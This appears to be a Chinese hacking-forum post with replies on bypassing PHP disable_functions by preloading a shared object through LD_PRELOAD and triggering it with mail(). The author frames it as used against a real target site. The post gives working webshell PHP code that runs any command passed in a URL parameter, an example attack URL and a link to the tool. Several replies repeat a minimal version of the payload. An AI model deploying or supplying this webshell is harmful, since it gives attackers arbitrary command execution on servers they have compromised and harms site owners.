无 sendmail 环境下突破 disable_functions 执行命令

2018-12-21 10:55:04 26 5857 19


遇到用 disable_functions 指示器禁用了所有命令执行函数的站点,借助环境变量 LD_PRELOAD 劫持 /usr/sbin/sendmail 中的系统函数 getuid(),从而不借助 PHP 的各类命令执行函数(如 exec()、system()、dl() 等等)执行系统命令,屡试不爽。

最近实战中遇到一个站,同样无法执行命令:


disable_functions 禁用命令执行函数:


同时,还禁用了 sendmail,导致之前的惯用法失效:



琢磨了几天,找到一种不依赖 sendmail 的手法:GCC 支持 C 语言规范扩展 __attribute__((constructor)),让我可以劫持共享对象(或者说,拦劫加载共享对象这一动作),不用劫持某一具体函数,实现执行系统命令。

开箱即用的 webshell 位于 https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD,包括两个关键文件,bypass_disablefunc.php 和 bypass_disablefunc_x64.so。想法把他两上传至目标,访问
http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
即可执行系统命令:

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
    unlink($out_path);
?>


TCV: 1

关于作者

评论26次

要评论?请先  登录  或  注册
  • TOP1
    2018-12-21 13:20

    NB NB!!吐司高质量的贴子终于又有了。

  • TOP2
    2018-12-21 14:15

    <?phpputenv("LD_PRELOAD=/var/www/hack.so");mail("a@localhost","","","","");?>
    核心代码不就这样么。。google:利用环境变量LD_PRELOAD来绕过php disable_function执行xi统命令好多年前就有了,lz只是方便了执行命令。

  • 26楼
    2019-6-24 17:18

    方法很奇特,收藏。

  • 25楼
    2019-5-6 21:56

    亲测失败了,用so配合py成功了,但是用你这个不行

  • 24楼
    2019-1-2 17:55

    这个思路学xi到了,以前遇到这个直接懵逼

  • 23楼
    2018-12-28 10:28

    感谢感谢,正好用到

  • 22楼
    2018-12-27 18:45

    大佬的github,讲的好详细谢谢大佬。

  • 21楼
    2018-12-27 16:38

    这才是真干货,正好最近遇到的问题解决了

  • 20楼
    2018-12-27 15:49

    preload的操作是目前ctf题在实践中最好用的姿势了,啊哈哈哈哈

  • 19楼
    2018-12-25 12:42
    n1o1name

    <?phpputenv("LD_PRELOAD=/var/www/hack.so");mail("a@localhost","","","","");?>核心代码不就这样么。。google:利用环境变量LD_PRELOAD来绕过php disable_function执行xi统命令好多年前就有了,lz只是方便了执行命令。

    1
    coffeesoft

    瞬间秒懂了,方法应该也能适配windows吧

    2

    只是绕过disable function,安全模式饶不了的。

  • 18楼
    2018-12-22 15:13

    这个思路很清奇、点个赞~

  • 17楼
    2018-12-22 11:00
    n1o1name

    <?phpputenv("LD_PRELOAD=/var/www/hack.so");mail("a@localhost","","","","");?>核心代码不就这样么。。google:利用环境变量LD_PRELOAD来绕过php disable_function执行xi统命令好多年前就有了,lz只是方便了执行命令。

    1

    __attribute__ ((__constructor__))
    这才是核心。

  • 16楼
    2018-12-21 23:03

    安全模式不行吧 users will only be able to set environment variables that begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty, PHP will let the user modify ANY environment variable! The safe_mode_protected_env_vars directive contains a comma-delimited list of environment variables, that the end user won't be able to change using putenv(). These variables will be protected even if safe_mode_allowed_env_vars is set to allow to change them.

  • 15楼
    2018-12-21 22:01
    n1o1name

    <?phpputenv("LD_PRELOAD=/var/www/hack.so");mail("a@localhost","","","","");?>核心代码不就这样么。。google:利用环境变量LD_PRELOAD来绕过php disable_function执行xi统命令好多年前就有了,lz只是方便了执行命令。

    1

    瞬间秒懂了,方法应该也能适配windows吧

  • 14楼
    2018-12-21 20:18

    不错,收藏了

  • 13楼
    2018-12-21 16:24
    misskiki

    楼主的意思是有些php站点默认开启了安全模式无法正常执行cmd 然后下git上面的两个文件传上去就可以执行了吗

    1

    safe_mode 从 PHP v5.3.0 起已被废弃;对于之前版本,safe_mode 唯一影响 bypass_disablefunc.php 删除临时文件(unlink()),但命令仍可成功执行。我没老版的 PHP,未实测,理论上没有影响。

  • 12楼
    2018-12-21 15:53
    注册用户

    https://github.com/TarlogicSecurity/Chankro发现github有老外已经写了一个

    1

    好东西,早知道就拿来用了。我研究了下 chankro,有亮点可以借鉴。简单比对下 bypass_disablefunc.php 和 chankro 的优劣:,前者,需要上传 *.php 和 *.so 两个文件,而后者只需上传一个 *.php 即可,运行 *.php 自动生成 *.so;,前者通过 cmd 查询参数执行任意命令,后者无相关参数,只可执行 *.php 中写死的固定命令;,前者执行完命令后立即释放加载的共享对象,后者一旦加载共享对象将以守护进程方式循环执行命令,无法中断执行、无法释放资源。实战中,根据不同场景,择优选用。

  • 11楼
    2018-12-21 14:31
    n1o1name

    <?phpputenv("LD_PRELOAD=/var/www/hack.so");mail("a@localhost","","","","");?>核心代码不就这样么。。google:利用环境变量LD_PRELOAD来绕过php disable_function执行xi统命令好多年前就有了,lz只是方便了执行命令。

    1

    不太一样,楼主只是绕过了sendmail。

  • 10楼
    2018-12-21 14:16

    https://github.com/TarlogicSecurity/Chankro 发现github有老外已经写了一个

  • 9楼
    2018-12-21 14:15

    <?php putenv("LD_PRELOAD=/var/www/hack.so"); mail("a@localhost","","","",""); ?>
    核心代码不就这样么。。 google:利用环境变量LD_PRELOAD来绕过php disable_function执行xi统命令 好多年前就有了,lz只是方便了执行命令。

  • 8楼
    2018-12-21 13:54
    love71

    直接问下楼主,难得自己去测了,在windows下可以使用么?

    1

    后来去看了下,preload只有linux有,windows没有。

  • 7楼
    2018-12-21 13:38

    直接问下楼主,难得自己去测了,在windows下可以使用么?